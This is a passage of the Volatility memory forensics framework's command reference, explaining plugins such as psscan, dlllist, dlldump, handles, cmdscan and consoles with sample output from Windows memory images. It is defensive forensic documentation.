     0xfffffa8000c92300:wininit.exe                       332    288      3     74 2012-02-22 19:58:30   
      
    . 0xfffffa8000c5eb30:services.exe                     428    332      6    193 2012-02-22 19:58:32   
      
    .. 0xfffffa8000aa0b30:SearchIndexer.                 1800    428     12    757 2012-02-22 20:02:26   
      
    .. 0xfffffa80007d09e0:svchost.exe                     916    428     19    443 2012-02-22 19:58:43   
      
    .. 0xfffffa8000a4f630:svchost.exe                    1432    428     12    350 2012-02-22 20:04:14   
      
    .. 0xfffffa800094d960:wlms.exe                       1264    428      4     43 2012-02-22 20:02:11   
      
    .. 0xfffffa8001325950:sppsvc.exe                      816    428      5    154 2012-02-22 19:58:41   
      
    .. 0xfffffa8000e86690:spoolsv.exe                    1076    428     12    271 2012-02-22 20:02:10   
      
    .. 0xfffffa8001296b30:svchost.exe                     568    428     10    352 2012-02-22 19:58:34   
      
    ... 0xfffffa8000a03b30:rundll32.exe                  2016    568      3     67 2012-02-22 20:03:16  
      
    ...
[/code]

##  psscan

To enumerate processes using pool tag scanning, use the psscan command. This
can find processes that previously terminated \(inactive\) and processes that
have been hidden or unlinked by a rootkit.

[code]

    $ python vol.py --profile=Win7SP0x86 -f win7.dmp psscan  
      
    Volatile Systems Volatility Framework 2.0  
      
     Offset     Name             PID    PPID   PDB        Time created             Time exited               
      
    ---------- ---------------- ------ ------ ---------- ------------------------ ------------------------   
      
    0x3e025ba8 svchost.exe        1116    508 0x3ecf1220 2010-06-16 15:25:25                                
      
    0x3e04f070 svchost.exe        1152    508 0x3ecf1340 2010-06-16 15:27:40                                
      
    0x3e144c08 dwm.exe            1540    832 0x3ecf12e0 2010-06-16 15:26:58                                
      
    0x3e145c18 TPAutoConnSvc.     1900    508 0x3ecf1360 2010-06-16 15:25:41                                
      
    0x3e3393f8 lsass.exe           516    392 0x3ecf10e0 2010-06-16 15:25:18                                
      
    0x3e35b8f8 svchost.exe         628    508 0x3ecf1120 2010-06-16 15:25:19                                
      
    0x3e383770 svchost.exe         832    508 0x3ecf11a0 2010-06-16 15:25:20                                
      
    0x3e3949d0 svchost.exe         740    508 0x3ecf1160 2010-06-16 15:25:20                                
      
    0x3e3a5100 svchost.exe         872    508 0x3ecf11c0 2010-06-16 15:25:20                                
      
    0x3e3f64e8 svchost.exe         992    508 0x3ecf1200 2010-06-16 15:25:24                                
      
    0x3e45a530 wininit.exe         392    316 0x3ecf10a0 2010-06-16 15:25:15                                
      
    0x3e45d928 svchost.exe        1304    508 0x3ecf1260 2010-06-16 15:25:28                                
      
    0x3e45f530 csrss.exe           400    384 0x3ecf1040 2010-06-16 15:25:15                                
      
    0x3e4d89c8 vmtoolsd.exe       1436    508 0x3ecf1280 2010-06-16 15:25:30                                
      
    0x3e4db030 spoolsv.exe        1268    508 0x3ecf1240 2010-06-16 15:25:28                                
      
    0x3e50b318 services.exe        508    392 0x3ecf1080 2010-06-16 15:25:18                                
      
    0x3e7f3d40 csrss.exe           352    316 0x3ecf1060 2010-06-16 15:25:12                                
      
    0x3e7f5bc0 winlogon.exe        464    384 0x3ecf10c0 2010-06-16 15:25:18                                
      
    0x3eac6030 SearchProtocol     2448   1168 0x3ecf15c0 2010-06-16 23:30:52      2010-06-16 23:33:14       
      
    0x3eb10030 SearchFilterHo     1812   1168 0x3ecf1480 2010-06-16 23:31:02      2010-06-16 23:33:14   
      
    [snip]
[/code]

If a process has previously terminated, the Time exited field will show the
exit time. If you want to investigate a hidden process \(such as displaying
its DLLs\), then you'll need physical offset of the EPROCESS object, which is
shown in the far left column.

##  psdispscan

This plugin is similar to psscan, except it enumerates processes by scanning
for DISPATCHER\_HEADER instead of pool tags. This gives you an alternate way
to carve EPROCESS objects in the event an attacker tried to hide by altering
pool tags. This plugin is not well maintained and only supports XP x86. To use
it, you must type --plugins=contrib/plugins on command-line.

##  dlllist

To display a process's loaded DLLs, use the dlllist command. It walks the
doubly-linked list of LDR\_DATA\_TABLE\_ENTRY structures which is pointed to
by the PEB's InLoadOrderModuleList. DLLs are automatically added to this list
when a process calls LoadLibrary \(or some derivative such as LdrLoadDll\) and
they aren't removed until FreeLibrary is called and the reference count
reaches zero.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 dlllist   
      
    ************************************************************************  
      
    wininit.exe pid:    332  
      
    Command line : wininit.exe  
      
      
      
    Base                             Size Path  
      
    ------------------ ------------------ ----  
      
    0x00000000ff530000            0x23000 C:\Windows\system32\wininit.exe  
      
    0x0000000076d40000           0x1ab000 C:\Windows\SYSTEM32\ntdll.dll  
      
    0x0000000076b20000           0x11f000 C:\Windows\system32\kernel32.dll  
      
    0x000007fefcd50000            0x6b000 C:\Windows\system32\KERNELBASE.dll  
      
    0x0000000076c40000            0xfa000 C:\Windows\system32\USER32.dll  
      
    0x000007fefd7c0000            0x67000 C:\Windows\system32\GDI32.dll  
      
    0x000007fefe190000             0xe000 C:\Windows\system32\LPK.dll  
      
    0x000007fefef80000            0xca000 C:\Windows\system32\USP10.dll  
      
    0x000007fefd860000            0x9f000 C:\Windows\system32\msvcrt.dll  
      
    [snip]
[/code]

To display the DLLs for a specific process instead of all processes, use the
-p or --pid filter as shown below. Also, in the following output, notice we're
analyzing a Wow64 process. Wow64 processes have a limited list of DLLs in the
PEB lists, but that doesn't mean they're the _only_ DLLs loaded in the process
address space. Thus Volatility will remind you to use the
CommandReference21\#ldrmodules instead for these processes.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 dlllist -p 1892  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    iexplore.exe pid:   1892  
      
    Command line : "C:\Program Files (x86)\Internet Explorer\iexplore.exe"   
      
    Note: use ldrmodules for listing DLLs in Wow64 processes  
      
      
      
    Base                             Size Path  
      
    ------------------ ------------------ ----  
      
    0x0000000000080000            0xa6000 C:\Program Files (x86)\Internet Explorer\iexplore.exe  
      
    0x0000000076d40000           0x1ab000 C:\Windows\SYSTEM32\ntdll.dll  
      
    0x00000000748d0000            0x3f000 C:\Windows\SYSTEM32\wow64.dll  
      
    0x0000000074870000            0x5c000 C:\Windows\SYSTEM32\wow64win.dll  
      
    0x0000000074940000             0x8000 C:\Windows\SYSTEM32\wow64cpu.dll
[/code]

To display the DLLs for a process that is hidden or unlinked by a rootkit,
first use the psscan to get the physical offset of the EPROCESS object and
supply it with --offset=OFFSET. The plugin will "bounce back" and determine
the virtual address of the EPROCESS and then acquire an address space in order
to access the PEB.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 dlllist --offset=0x04a291a8
[/code]

##  dlldump

To extract a DLL from a process's memory space and dump it to disk for
analysis, use the dlldump command. The syntax is nearly the same as what we've
shown for dlllist above. You can:

  * Dump all DLLs from all processes
  * Dump all DLLs from a specific process \(with --pid=PID\)
  * Dump all DLLs from a hidden/unlinked process \(with --offset=OFFSET\)
  * Dump a PE from anywhere in process memory \(with --base=BASEADDR\), this option is useful for extracting hidden DLLs
  * Dump one or more DLLs that match a regular expression \(--regex=REGEX\), case sensitive or not \(--ignore-case\)

To specify an output directory, use --dump-dir=DIR or -d DIR.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 dlldump -D dlls/  
      
    ...  
      
    Dumping sechost.dll, Process: lsass.exe, Base: 7fefd830000 output: module.444.173c5700.7fefd830000.dll  
      
    Dumping cryptbase.dll, Process: lsass.exe, Base: 7fefcb80000 output: module.444.173c5700.7fefcb80000.dll  
      
    Cannot dump lsass.exe@pstorsvc.dll at 7fef71e0000  
      
    Dumping USP10.dll, Process: lsass.exe, Base: 7fefef80000 output: module.444.173c5700.7fefef80000.dll  
      
    Dumping LPK.dll, Process: lsass.exe, Base: 7fefe190000 output: module.444.173c5700.7fefe190000.dll  
      
    Cannot dump lsass.exe@WINSTA.dll at 7fefcc40000  
      
    Dumping GDI32.dll, Process: lsass.exe, Base: 7fefd7c0000 output: module.444.173c5700.7fefd7c0000.dll  
      
    Dumping DNSAPI.dll, Process: lsass.exe, Base: 7fefc270000 output: module.444.173c5700.7fefc270000.dll  
      
    Dumping Secur32.dll, Process: lsass.exe, Base: 7fefc5d0000 output: module.444.173c5700.7fefc5d0000.dll  
      
    Dumping SAMSRV.dll, Process: lsass.exe, Base: 7fefc7e0000 output: module.444.173c5700.7fefc7e0000.dll  
      
    Dumping KERNELBASE.dll, Process: lsass.exe, Base: 7fefcd50000 output: module.444.173c5700.7fefcd50000.dll  
      
    ...
[/code]

If the extraction fails, as it did for a few DLLs above, it probably means
that some of the memory pages in that DLL were not memory resident \(due to
paging\). In particular, this is a problem if the first page containing the PE
header and thus the PE section mappings is not available. In these cases you
can still extract the memory segment using the CommandReference21\#vaddump
command, but you'll need to manually rebuild the PE header and fixup the
sections as described in Recovering CoreFlood Binaries with Volatility.To dump
a PE file that doesn't exist in the DLLs list \(for example, due to code
injection or malicious unlinking\), just specify the base address of the PE in
process memory:

[code]

    $ python vol.py --profile=Win7SP0x86 -f win7.dmp dlldump --pid=492 -D out --base=0x00680000
[/code]

You can also specify an EPROCESS offset if the DLL you want is in a hidden
process:

[code]

    $ python vol.py --profile=Win7SP0x86 -f win7.dmp dlldump -o 0x3e3f64e8 -D out --base=0x00680000
[/code]

##  handles

To display the open handles in a process, use the handles command. This
applies to files, registry keys, mutexes, named pipes, events, window
stations, desktops, threads, and all other types of securable executive
objects. This command replaces the older "files" and "regobjkeys" commands
from the Volatility 1.3 framework. As of 2.1, the output includes handle value
and granted access for each object.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 handles  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)             Pid             Handle             Access Type             Details  
      
    ------------------ ------ ------------------ ------------------ ---------------- -------  
      
    0xfffffa80004b09e0      4                0x4           0x1fffff Process          System(4)  
      
    0xfffff8a0000821a0      4               0x10            0x2001f Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\PRODUCTOPTIONS  
      
    0xfffff8a00007e040      4               0x14            0xf003f Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\MEMORY MANAGEMENT\PREFETCHPARAMETERS  
      
    0xfffff8a000081fa0      4               0x18            0x2001f Key              MACHINE\SYSTEM\SETUP  
      
    0xfffffa8000546990      4               0x1c           0x1f0001 ALPC Port        PowerMonitorPort  
      
    0xfffffa800054d070      4               0x20           0x1f0001 ALPC Port        PowerPort  
      
    0xfffff8a0000676a0      4               0x24            0x20019 Key              MACHINE\HARDWARE\DESCRIPTION\SYSTEM\MULTIFUNCTIONADAPTER  
      
    0xfffffa8000625460      4               0x28           0x1fffff Thread           TID 160 PID 4  
      
    0xfffff8a00007f400      4               0x2c            0xf003f Key              MACHINE\SYSTEM\CONTROLSET001  
      
    0xfffff8a00007f200      4               0x30            0xf003f Key              MACHINE\SYSTEM\CONTROLSET001\ENUM  
      
    0xfffff8a000080d10      4               0x34            0xf003f Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\CLASS  
      
    0xfffff8a00007f500      4               0x38            0xf003f Key              MACHINE\SYSTEM\CONTROLSET001\SERVICES  
      
    0xfffff8a0001cd990      4               0x3c                0xe Token              
      
    0xfffff8a00007bfa0      4               0x40            0x20019 Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY  
      
    0xfffffa8000cd52b0      4               0x44           0x120116 File             \Device\Mup  
      
    0xfffffa8000ce97f0      4               0x48               0x2a Process          smss.exe(208)  
      
    0xfffffa8000df16f0      4               0x4c           0x120089 File             \Device\HarddiskVolume2\Windows\System32\en-US\win32k.sys.mui  
      
    0xfffffa8000de37f0      4               0x50           0x12019f File             \Device\clfsTxfLog  
      
    0xfffff8a000952fa0      4               0x54            0x2001f Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\VIDEO\{6A8FC9DC-A76B-47FC-A703-17800182E1CE}\0000\VOLATILESETTINGS  
      
    0xfffffa800078da20      4               0x58           0x12019f File             \Device\Tcp  
      
    0xfffff8a002e17610      4               0x5c                0x9 Key              MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS  
      
    0xfffff8a0008f7b00      4               0x60               0x10 Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\LSA  
      
    0xfffffa8000da2870      4               0x64           0x100001 File             \Device\KsecDD  
      
    0xfffffa8000da3040      4               0x68                0x0 Thread           TID 228 PID 4  
      
    ...
[/code]

You can display handles for a particular process by specifying --pid=PID or
the physical offset of an EPROCESS structure \(--physical-offset=OFFSET\). You
can also filter by object type using -t or --object-type=OBJECTTYPE. For
example to only display handles to process objects for pid 600, do the
following:

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 handles -p 296 -t Process  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)             Pid             Handle             Access Type             Details  
      
    ------------------ ------ ------------------ ------------------ ---------------- -------  
      
    0xfffffa8000c92300    296               0x54           0x1fffff Process          wininit.exe(332)  
      
    0xfffffa8000c5eb30    296               0xc4           0x1fffff Process          services.exe(428)  
      
    0xfffffa80011c5700    296               0xd4           0x1fffff Process          lsass.exe(444)  
      
    0xfffffa8000ea31b0    296               0xe4           0x1fffff Process          lsm.exe(452)  
      
    0xfffffa8000c64840    296              0x140           0x1fffff Process          svchost.exe(348)  
      
    0xfffffa8001296b30    296              0x150           0x1fffff Process          svchost.exe(568)  
      
    0xfffffa80012c3620    296              0x18c           0x1fffff Process          svchost.exe(628)  
      
    0xfffffa8001325950    296              0x1dc           0x1fffff Process          sppsvc.exe(816)  
      
    ...
[/code]

In some cases, the Details column will be blank \(for example, if the objects
don't have names\). By default, you'll see both named and un-named objects.
However, if you want to hide the less meaningful results and only show named
objects, use the --silent parameter to this plugin.

##  getsids

To view the SIDs \(Security Identifiers\) associated with a process, use the
getsids command. Among other things, this can help you identify processes
which have maliciously escalated privileges.For more information, see BDG's
Linking Processes To Users.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 getsids  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    System (4): S-1-5-18 (Local System)  
      
    System (4): S-1-5-32-544 (Administrators)  
      
    System (4): S-1-1-0 (Everyone)  
      
    System (4): S-1-5-11 (Authenticated Users)  
      
    System (4): S-1-16-16384 (System Mandatory Level)  
      
    smss.exe (208): S-1-5-18 (Local System)  
      
    smss.exe (208): S-1-5-32-544 (Administrators)  
      
    smss.exe (208): S-1-1-0 (Everyone)  
      
    smss.exe (208): S-1-5-11 (Authenticated Users)  
      
    smss.exe (208): S-1-16-16384 (System Mandatory Level)  
      
    [snip]
[/code]

##  cmdscan

The cmdscan plugin searches the memory of csrss.exe on XP/2003/Vista/2008 and
conhost.exe on Windows 7 for commands that attackers entered through a console
shell \(cmd.exe\). This is one of the most powerful commands you can use to
gain visibility into an attackers actions on a victim system, whether they
opened cmd.exe through an RDP session or proxied input/output to a command
shell from a networked backdoor.This plugin finds structures known as
COMMAND\_HISTORY by looking for a known constant value \(MaxHistory\) and then
applying sanity checks. It is important to note that the MaxHistory value can
be changed by right clicking in the top left of a cmd.exe window and going to
Properties. The value can also be changed for all consoles opened by a given
user by modifying the registry key HKCU\Console\HistoryBufferSize. The default
is 50 on Windows systems, meaning the most recent 50 commands are saved. You
can tweak it if needed by using the --max\_history=NUMBER parameter.The
structures used by this plugin are not public \(i.e. Microsoft does not
produce PDBs for them\), thus they're not available in WinDBG or any other
forensic framework. They were reverse engineered by Michael Ligh from the
conhost.exe and winsrv.dll binaries.In addition to the commands entered into a
shell, this plugin shows:

  * The name of the console host process \(csrss.exe or conhost.exe\)
  * The name of the application using the console \(whatever process is using cmd.exe\)
  * The location of the command history buffers, including the current buffer count, last added command, and last displayed command
  * The application process handle

Due to the scanning technique this plugin uses, it has the capability to find
commands from both active and closed consoles.

[code]

    $ python vol.py -f VistaSP2x64.vmem --profile=VistaSP2x64 cmdscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
      
      
    **************************************************  
      
    CommandProcess: csrss.exe Pid: 528  
      
    CommandHistory: 0x135ec00 Application: cmd.exe Flags: Allocated, Reset  
      
    CommandCount: 18 LastAdded: 17 LastDisplayed: 17  
      
    FirstCommand: 0 CommandCountMax: 50  
      
    ProcessHandle: 0x330  
      
    Cmd #0 @ 0x135ef10: cd \  
      
    Cmd #1 @ 0x135ef50: cd de  
      
    Cmd #2 @ 0x135ef70: cd PerfLogs  
      
    Cmd #3 @ 0x135ef90: cd ..  
      
    Cmd #4 @ 0x5c78b90: cd "Program Files"  
      
    Cmd #5 @ 0x135fae0: cd "Debugging Tools for Windows (x64)"  
      
    Cmd #6 @ 0x135efb0: livekd -w  
      
    Cmd #7 @ 0x135f010: windbg   
      
    Cmd #8 @ 0x135efd0: cd \  
      
    Cmd #9 @ 0x135fd20: rundll32 c:\apphelp.dll,ExportFunc  
      
    Cmd #10 @ 0x5c8bdb0: rundll32 c:\windows_apphelp.dll,ExportFunc  
      
    Cmd #11 @ 0x5c8be10: rundll32 c:\windows_apphelp.dll  
      
    Cmd #12 @ 0x135ee30: rundll32 c:\windows_apphelp.dll,Test  
      
    Cmd #13 @ 0x135fd70: cd "Program Files"  
      
    Cmd #14 @ 0x5c8b9e0: dir  
      
    Cmd #15 @ 0x5c8be60: cd "Debugging Tools for Windows (x64)"  
      
    Cmd #16 @ 0x5c8ba00: dir  
      
    Cmd #17 @ 0x135eff0: livekd -w  
      
      
      
    [snip]
[/code]

For background information, see Richard Stevens and Eoghan Casey's Extracting
Windows Cmd Line Details from Physical Memory.

##  consoles

Similar to CommandReference21\#cmdscan the consoles plugin finds commands that
attackers typed into cmd.exe or executed via backdoors. However, instead of
scanning for COMMAND\_HISTORY, this plugin scans for CONSOLE\_INFORMATION. The
major advantage to this plugin is it not only prints the commands attackers
typed, but it collects the entire screen buffer \(input **and** output\). For
instance, instead of just seeing "dir", you'll see exactly what the attacker
saw, including all files and directories listed by the "dir"
command.Additionally, this plugin prints the following:

  * The original console window title and current console window title
  * The name and pid of attached processes \(walks a LIST\_ENTRY to enumerate all of them if more than one\)
  * Any aliases associated with the commands executed. For example, attackers can register an alias such that typing "hello" actually executes "cd system"
  * The screen coordinates of the cmd.exe console

Here's an example of the consoles command. For more information and a single
file with various example output from public images, see the cmd\_history.txt
attachment to issue \#147. Below, you'll notice something quite funny. The
forensic investigator seems to have lost his mind and cannot find the dd.exe
tool for dumping memory. Nearly 20 typos later, he finds the tool and uses it.

[code]

    $ python vol.py -f xp-laptop-2005-07-04-1430.img consoles  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
      
      
    [csrss.exe @ 0x821c11a8 pid 456 console @ 0x4e23b0]  
      
      OriginalTitle: '%SystemRoot%\\system32\\cmd.exe'  
      
      Title: 'C:\\WINDOWS\\system32\\cmd.exe - dd if=\\\\.\\PhysicalMemory of=c:\\xp-2005-07-04-1430.img conv=noerror'  
      
      HistoryBufferCount: 2  
      
      HistoryBufferMax: 4  
      
      CommandHistorySize: 50  
      
    [history @ 0x4e4008]  
      
      CommandCount: 0  
      
      CommandCountMax: 50  
      
      Application: 'dd.exe'  
      
    [history @ 0x4e4d88]  
      
      CommandCount: 20  
      
      CommandCountMax: 50  
      
      Application: 'cmd.exe'  
      
      Cmd #0 @ 0x4e1f90: 'dd'  
      
      Cmd #1 @ 0x4e2cb8: 'cd\\'  
      
      Cmd #2 @ 0x4e2d18: 'dr'  
      
      Cmd #3 @ 0x4e2d28: 'ee:'  
      
      Cmd #4 @ 0x4e2d38: 'e;'  
      
      Cmd #5 @ 0x4e2d48: 'e:'  
      
      Cmd #6 @ 0x4e2d58: 'dr'  
      
      Cmd #7 @ 0x4e2d68: 'd;'  
      
      Cmd #8 @ 0x4e2d78: 'd:'  
      
      Cmd #9 @ 0x4e2d88: 'dr'  
      
      Cmd #10 @ 0x4e2d98: 'ls'  
      
      Cmd #11 @ 0x4e2da8: 'cd Docu'  
      
      Cmd #12 @ 0x4e2dc0: 'cd Documents and'  
      
      Cmd #13 @ 0x4e2e58: 'dr'  
      
      Cmd #14 @ 0x4e2e68: 'd:'  
      
      Cmd #15 @ 0x4e2e78: 'cd dd\\'  
      
      Cmd #16 @ 0x4e2e90: 'cd UnicodeRelease'  
      
      Cmd #17 @ 0x4e2ec0: 'dr'  
      
      Cmd #18 @ 0x4e2ed0: 'dd '  
      
      Cmd #19 @ 0x4e4100: 'dd if=\\\\.\\PhysicalMemory of=c:\\xp-2005-07-04-1430.img conv=noerror'  
      
    [screen @ 0x4e2460 X:80 Y:300]  
      
      Output: Microsoft Windows XP [Version 5.1.2600]                                           
      
      Output: (C) Copyright 1985-2001 Microsoft Corp.                                           
      
      Output:                                                                                   
      
      Output: C:\Documents and Settings\Sarah>dd                                                
      
      Output: 'dd' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: C:\Documents and Settings\Sarah>cd\                                               
      
      Output:                                                                                   
      
      Output: C:\>dr                                                                            
      
      Output: 'dr' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: C:\>ee:                                                                           
      
      Output: 'ee:' is not recognized as an internal or external command,                       
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: C:\>e;                                                                            
      
      Output: 'e' is not recognized as an internal or external command,                         
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: C:\>e:                                                                            
      
      Output: The system cannot find the drive specified.                                       
      
      Output:                                                                                   
      
      Output: C:\>dr                                                                            
      
      Output: 'dr' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: C:\>d;                                                                            
      
      Output: 'd' is not recognized as an internal or external command,                         
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: C:\>d:                                                                            
      
      Output:                                                                                   
      
      Output: D:\>dr                                                                            
      
      Output: 'dr' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: D:\>dr                                                                            
      
      Output: 'dr' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: D:\>ls                                                                            
      
      Output: 'ls' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: D:\>cd Docu                                                                       
      
      Output: The system cannot find the path specified.                                        
      
      Output:                                                                                   
      
      Output: D:\>cd Documents and                                                              
      
      Output: The system cannot find the path specified.                                        
      
      Output:                                                                                   
      
      Output: D:\>dr                                                                            
      
      Output: 'dr' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: D:\>d:                                                                            
      
      Output:                                                                                   
      
      Output: D:\>cd dd\                                                                        
      
      Output:                                                                                   
      
      Output: D:\dd>                                                                            
      
      Output: D:\dd>cd UnicodeRelease                                                           
      
      Output:                                                                                   
      
      Output: D:\dd\UnicodeRelease>dr                                                           
      
      Output: 'dr' is not recognized as an internal or external command,                        
      
      Output: operable program or batch file.                                                   
      
      Output:                                                                                   
      
      Output: D:\dd\UnicodeRelease>dd                                                           
      
      Output:                                                                                   
      
      Output: 0+0 records in                                                                    
      
      Output: 0+0 records out                                                                   
      
      Output: ^C                                                                                
      
      Output: D:\dd\UnicodeRelease>dd if=\\.\PhysicalMemory of=c:\xp-2005-07-04-1430.img conv=  
      
      Output: noerror                                                                           
      
      Output: Forensic Acquisition Utilities, 1, 0, 0, 1035                                     
      
      Output: dd, 3, 16, 2, 1035                                                                
      
      Output: Copyright (C) 2002-2004 George M. Garner Jr.                                      
      
      Output:                                                                                   
      
      Output: Command Line: dd if=\\.\PhysicalMemory of=c:\xp-2005-07-04-1430.img conv=noerror  
      
      Output:                                                                                   
      
      Output: Based on original version developed by Paul Rubin, David MacKenzie, and Stuart K  
      
      Output: emp                                                                               
      
      Output: Microsoft Windows: Version 5.1 (Build 2600.Professional Service Pack 2)           
      
      Output:                                                                                   
      
      Output: 04/07/2005  18:30:32 (UTC)                                                        
      
      Output: 04/07/2005  14:30:32 (local time)                                                 
      
      Output:                                                                                   
      
      Output: Current User: SPLATITUDE\Sarah                                                    
      
      Output:                                                                                   
      
      Output: Total physical memory reported: 523676 KB                                         
      
      Output: Copying physical memory...                                                        
      
      Output: Physical memory in the range 0x00004000-0x00004000 could not be read.                              
[/code]

##  envars

To display a process's environment variables, use the envars plugin. Typically
this will show the number of CPUs installed and the hardware architecture
\(though the CommandReference21\#kdbgscan output is a much more reliable
source\), the process's current directory, temporary directory, session name,
computer name, user name, and various other interesting artifacts.

[code]

    $ /usr/bin/python2.6 vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 envars  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Pid      Process              Block              Variable                       Value  
      
    -------- -------------------- ------------------ ------------------------------ -----  
      
         296 csrss.exe            0x00000000003d1320 ComSpec                        C:\Windows\system32\cmd.exe  
      
         296 csrss.exe            0x00000000003d1320 FP_NO_HOST_CHECK               NO  
      
         296 csrss.exe            0x00000000003d1320 NUMBER_OF_PROCESSORS           1  
      
         296 csrss.exe            0x00000000003d1320 OS                             Windows_NT  
      
         296 csrss.exe            0x00000000003d1320 Path                           C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\  
      
         296 csrss.exe            0x00000000003d1320 PATHEXT                        .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC  
      
         296 csrss.exe            0x00000000003d1320 PROCESSOR_ARCHITECTURE         AMD64  
      
         296 csrss.exe            0x00000000003d1320 PROCESSOR_IDENTIFIER           Intel64 Family 6 Model 2 Stepping 3, GenuineIntel  
      
         296 csrss.exe            0x00000000003d1320 PROCESSOR_LEVEL                6  
      
         296 csrss.exe            0x00000000003d1320 PROCESSOR_REVISION             0203  
      
         296 csrss.exe            0x00000000003d1320 PSModulePath                   C:\Windows\system32\WindowsPowerShell\v1.0\Modules\  
      
         296 csrss.exe            0x00000000003d1320 SystemDrive                    C:  
      
         296 csrss.exe            0x00000000003d1320 SystemRoot                     C:\Windows  
      
         296 csrss.exe            0x00000000003d1320 TEMP                           C:\Windows\TEMP  
      
         296 csrss.exe            0x00000000003d1320 TMP                            C:\Windows\TEMP  
      
         296 csrss.exe            0x00000000003d1320 USERNAME                       SYSTEM  
      
         296 csrss.exe            0x00000000003d1320 windir                         C:\Windows
[/code]

##  verinfo

To display the version information embedded in PE files, use the verinfo
command. Not all PE files have version information, and many malware authors
forge it to include false data, but nonetheless this command can be very
helpful with identifying binaries and for making correlations with other
files.Note that this plugin resides in the contrib directory, therefore you'll
need to tell Volatility to look there using the --plugins option. It currently
only supports printing version information from process executables and DLLs,
but later will be expanded to include kernel modules. If you want to filter by
module name, use the --regex=REGEX and/or --ignore-case options.

[code]

    $ python vol.py --plugins=contrib/plugins/ -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 verinfo  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    \SystemRoot\System32\smss.exe  
      
    C:\Windows\SYSTEM32\ntdll.dll  
      
      
      
    C:\Windows\system32\csrss.exe  
      
      File version    : 6.1.7600.16385  
      
      Product version : 6.1.7600.16385  
      
      Flags           :   
      
      OS              : Windows NT  
      
      File Type       : Application  
      
      File Date       :   
      
      CompanyName : Microsoft Corporation  
      
      FileDescription : Client Server Runtime Process  
      
      FileVersion : 6.1.7600.16385 (win7_rtm.090713-1255)  
      
      InternalName : CSRSS.Exe  
      
      LegalCopyright : \xa9 Microsoft Corporation. All rights reserved.  
      
      OriginalFilename : CSRSS.Exe  
      
      ProductName : Microsoft\xae Windows\xae Operating System  
      
      ProductVersion : 6.1.7600.16385  
      
      
      
    [snip]
[/code]

##  enumfunc

This plugin enumerates imported and exported functions from processes, dlls,
and kernel drivers. Specifically, it handles functions imported by name or
ordinal, functions exported by name or ordinal, and forwarded exports. The
output will be very verbose in most cases \(functions exported by ntdll,
msvcrt, and kernel32 can reach 1000+ alone\). So you can either reduce the
verbosity by filtering criteria with the command-line options \(shown below\)
or you can use look at the code in enumfunc.py and use it as an example of how
to use the IAT and EAT parsing API functions in your own plugin. For example,
the CommandReference21\#apihooks plugin leverages the imports and exports APIs
to find functions in memory when checking for hooks.Also note this plugin is
in the contrib directory, so you can pass that to --plugins like this:

[code]

    $ python vol.py --plugins=contrib/plugins/ -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 enumfunc -h  
      
    ....  
      
      -s, --scan            Scan for objects  
      
      -P, --process-only    Process only  
      
      -K, --kernel-only     Kernel only  
      
      -I, --import-only     Imports only  
      
      -E, --export-only     Exports only
[/code]

To use pool scanners for finding processes and kernel drivers instead of
walking linked lists, use the -s option. This can be useful if you're trying
to enumerate functions in hidden processes or drivers. An example of the
remaining command-line options is shown below.To show exported functions in
process memory, use -P and -E like this:

[code]

    $ python vol.py --plugins=contrib/plugins/ -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 enumfunc -P -E  
      
    Process              Type       Module               Ordinal    Address              Name  
      
    lsass.exe            Export     ADVAPI32.dll         1133       0x000007fefd11dd34 CreateWellKnownSid  
      
    lsass.exe            Export     ADVAPI32.dll         1134       0x000007fefd17a460 CredBackupCredentials  
      
    lsass.exe            Export     ADVAPI32.dll         1135       0x000007fefd170590 CredDeleteA  
      
    lsass.exe            Export     ADVAPI32.dll         1136       0x000007fefd1704d0 CredDeleteW  
